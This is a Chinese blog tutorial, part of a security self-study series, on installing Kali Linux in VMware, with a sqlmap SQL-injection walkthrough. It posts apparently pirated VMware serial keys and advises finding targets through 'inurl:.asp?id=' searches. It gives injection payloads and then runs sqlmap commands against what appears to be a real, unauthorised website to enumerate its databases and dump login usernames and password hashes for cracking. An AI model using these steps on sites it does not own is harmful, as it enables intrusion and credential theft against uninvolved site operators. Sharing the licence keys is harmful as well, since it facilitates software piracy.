这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具,社会工程学中的IP物理位置定位、IP获取、收集查找,机器学习是如何运用到恶意代码攻击中的。这篇文章作者将带领大家认识Kali,事实上,Kali仍是安全专家手头的重要工具集。
Kali 是基于Debian的Linux发行版,其目的是为了设计一个实用的工具包,里面尽可能多的包含渗透和审计工具(600多个)。它最先由Offensive Security的Mati Aharoni和Devon Kearns通过重写BackTrack来完成。目前,Kali Linux在渗透测试和白帽子方面是业界领先的Linux发行版,它把大多数做安全测试的开源工具都囊括在内,包括Nmap 、Wireshark 、John the Ripper、Sqlmap等。用户可通过硬盘、live CD或live USB运行Kali Linux。
Kali的优势包括永久开源免费、支持多种无线网卡、定制内核支持无限注入、支持手机\PAD\ARM平台、高度可定制、更新频繁涵盖最新内核和软件等。使用Kali的人员涉及渗透测试者、安全审计者、安全研究者、电子取证者、逆向工程师、黑客(白帽子、灰帽子、红帽子、黑帽子)等。提醒一句,由于Kali采用Root登录,会带来一定安全风险,它毕竟是攻击工具,而不是防御工具,学习安全的同学,还是很值得学习它的。
PS:这篇文章非常基础,作为小白的作者,也将继续深入学习网络安全和系统安全相关知识并分享相关实验。希望对初学者有帮助,大神请飘过,谢谢各位看官!
下载地址:https://github.com/eastmountyxz/NetworkSecuritySelf-study
百度网盘:
前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向破解
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包
参考文献:
《安全之路Web渗透技术及实战案例解析》陈小兵老师
《THE ART OF DECEPTION》 By:KEVIN D.MITNICK
在你开始使用 Kali Linux 之前必须知道的事情 - LCTT MjSeve大神
史上最详细的kali安装教程没有之一 - 简书大神Sn1per
百度百科 - Kali
最新超详细虚拟机VMware安装Kali Linux - 隐秀大神
迈出黑客第一步, 安装配置Kali虚拟机 - 木子昭大神
http://cati.nwupl.edu.cn/fkzx/
网易云课程 - Kali Linux入门教程 白帽学苑老师
https://study.163.com/course/courseLearn.htm?courseId=1004016002
Sqlmap的使用详解 - 谢公子大神
声明:本人坚决反对利用社会工程学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
一.虚拟机安装
1.首先需要下载VMware虚拟机,并对其进行安装。下载地址:https://www.vmware.com/cn.html
2.选择合适的版本进行下载,作者这里安装的版本为“VMware-workstation-full-12.5.2-4638234.ext”,并且上传至百度云分享给大家。
3.双击EXE文件,开始进行安装。
4.安装完成之后输入序列号激活。
5A02H-AU243-TZJ49-GTC7K-3C61N
VF5XA-FNDDJ-085GZ-4NXZ9-N20E6
UC5MR-8NE16-H81WY-R7QGV-QG2D8
ZG1WH-ATY96-H80QP-X7PEX-Y30V4
AA3E0-0VDE1-0893Z-KGZ59-QGAVF
5.运行VMware软件如下图所示,接下来需要进行第二部分的Kali配置。
二.创建虚拟机并载入Kali Linux
1.去Kali官网Downloads页面下载64位Kali Linux的torrent文件,再通过迅雷下载。下载地址:https://www.kali.org/downloads/,作者百度云网盘已上传。
2.下载成功后,新建虚拟机,选择“自定义”设置。
3.导入下载好的Kali Linux镜像文件,选择操作系统为Linux。
4.输入虚拟机的名称和安装位置。
5.设置内存分配大小,建议不要超过提示的最大内存推荐。
6.接着点击下一步,包括。
7.选择磁盘容量大小,建议比分配容量大些,并设为。
8.创建完成之后,如下图所示。
三.安装Kali Linux
1.开启虚拟机,进入安装界面,如下图所示,点击“开启此虚拟机”。
2.选择安装方式为“Graphical install”。
3.选择语言“中文简体”和地区“中国”,点击“继续”按钮安装。
4.自定义主机名,默认为“kali”,域名直接跳过即可。
5.设置用户密码,这是类似于Windows的开机密码,接着安装。
6.设置磁盘分区。
7.接着接续安装。
8.在询问是否要选择网络镜像时,如果你的网络很好可以选择是,这里我选择否。
下面这个GRUB安装至硬盘要选择“是”!
9.安装成功之后,等待系统重启即安装完成。
10.最终界面如下图所示。
Kali其他设置包括分辨率、中文输入、全屏显示等,请同学们自行百度学习。
四.Kali功能介绍
1.信息收集
2.漏洞分析
3.Web程序
4.数据库评估软件
5.密码攻击
6.无线攻击
7.逆向工程
8.漏洞利用工具集
9.嗅探/欺骗
10.权限维护
11.数字取证
12.报告工具集
13.Social Engineering Tools
打开某个软件,如下图所示。
五.Sqlmap基本用法
下面作者结合Sqlmap简单讲述一个Kali环境中的实战案例。
Web漏洞包括网站本身漏洞、软件漏洞、服务器漏洞、外部攻击等,其拿站的基本方法包括通用型、SQL注入、DDoS、XXS跨站、越权漏洞、旁站注入、CSRF跨站请求、上传漏洞、支付漏洞等。
Sqlmap 是一款非常强大的开源渗透测试工具,用于自动检测和利用SQL注入漏洞控制数据库服务器的过程。它配备了一个强大的检测引擎,由Python语言开发完成,通过外部连接访问数据库底层文件系统和操作系统,并执行命令实现渗透。
Sqlmap的基本流程如下:
- 找注入点并检测:sqlmap –u “链接”
- 列库显示数据库:sqlmap –u “链接” --dbs
- 列表显示表:sqlmap –u “链接” –D 数据库 --tables
- 列字段显示表中字段: sqlmap –u “链接” –D 数据库 –T 表名 --columns
- 爆内容显示字段内容:sqlmap –u “链接” –D 数据库 –T 表名 –C 字段 --dump
作者本来想以“实验吧”的CTF题目作为测试地址(http://ctf5.shiyanbar.com/8/index.php?id=1),但最近它维修中,无法访问;但使用“inurl:.asp?id=”未能搜索到目标网站。希望读者后续尝试“实验吧”的那个例子,或者自行搭建本地网站环境进行SQL注入学习。
第一步:寻找目标网站,通过浏览器“inurl:.asp?id=”搜索,寻找存在SQL注入漏洞的目标,可以先尝试手工注入判断。
判断注入点的方法很多,比如show.asp?code=115’ 加单引号,show.asp?code=115-1 减1,这里介绍一个经典的方法。
(1) http://xxxxx/show.asp?code=115’ and 1=1 – (正常显示)
对应的SQL语句:
select … from table where code=‘115’ and 1=1 – and xxxx;
单引号(’)匹配code='115,然后and连接,1=1恒成立,注释(–)掉后面语句。
(2) http://xxxxx/show.asp?code=115’ and 1=2 – (错误显示)
对应的SQL语句:
select … from table where code=‘115’ and 1=2 – and xxxx;
单引号(’)匹配code='115,然后and连接,1=2恒错误,注释(–)掉后面语句。
但很多网站都会有防火墙,防止SQL注入,如下图所示。
第二步:打开Kali环境中的Sqlmap环境,如下图所示。(后续采用之前的文章进行讲解,也希望读者自己尝试下)
第三步:获取所有数据库。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" --dbs
运行结果如下图所示,获取9个数据库,其中–dbs参数表示databases。
第四步:获取当前数据库。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db
运行结果如下图所示,获取9个数据库。其中–current-db参数表示当前数据库,相当于前文MSSQL的db_name()获取数据库字段。输出结果:akykd_new。
第五步:获取数据库当前用户。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-user
运行结果如下图所示,获取当前数据库用户sa。
第六步:获取数据库所有用户和密码。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords
运行结果如下图所示,获取数据库用户和密码。
第七步:获取数据库所有表。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new --tables
运行结果如下图所示,获取数据库ahykd_new的所有表,其中-D表示数据库,–tables表示所有表。
通过人为猜解,知道登录表位usr。
第八步:获取数据库登录表所有字段。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr --columns
运行结果如下图所示,获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,–columns表示usr表所有列。
是不是感觉到了SQLMAP的强大,其中用户名usr_name、密码passwd。
第九步:获取数据库登录表用户名和密码。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,password" --dump
获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,-C表示输出字段(usr_name、passwd),–dump输出所有值。
如果字段内容太多,可以设置输出个数,如10个用户名和密码。
参数:-D ahykd_new -T usr -C “usr_name,passwd” --start 1 --stop 10 --dump
正常的输出结果例如下图所示,再通过md5解密即可。
六.总结
又忙了16个小时,发现自己网络安全方向的基础非常薄弱,有太多实践知识想学,太多学术论文想看,每天都在忙碌,过程非常艰辛,博士哪有这么好毕业。但是这种苦中带甜,充实的滋味又让我陶醉,还有远方的女神、许多朋友和博友的陪伴。希望未来在网络态势感知、恶意代码检测、嫌疑识别和知识图谱方面能再深入点,多读文献,多找创新,加油。
天行健,君子以自强不息。
地势坤,君子以厚德载物。
最后希望基础性文章对您有所帮助,作者也是这个领域的菜鸟一枚,希望与您共同进步,共勉。
(By:Eastmount 2019-0919 晚上11点 http://blog.csdn.net/eastmount/ )
转载:https://blog.csdn.net/Eastmount/article/details/101000161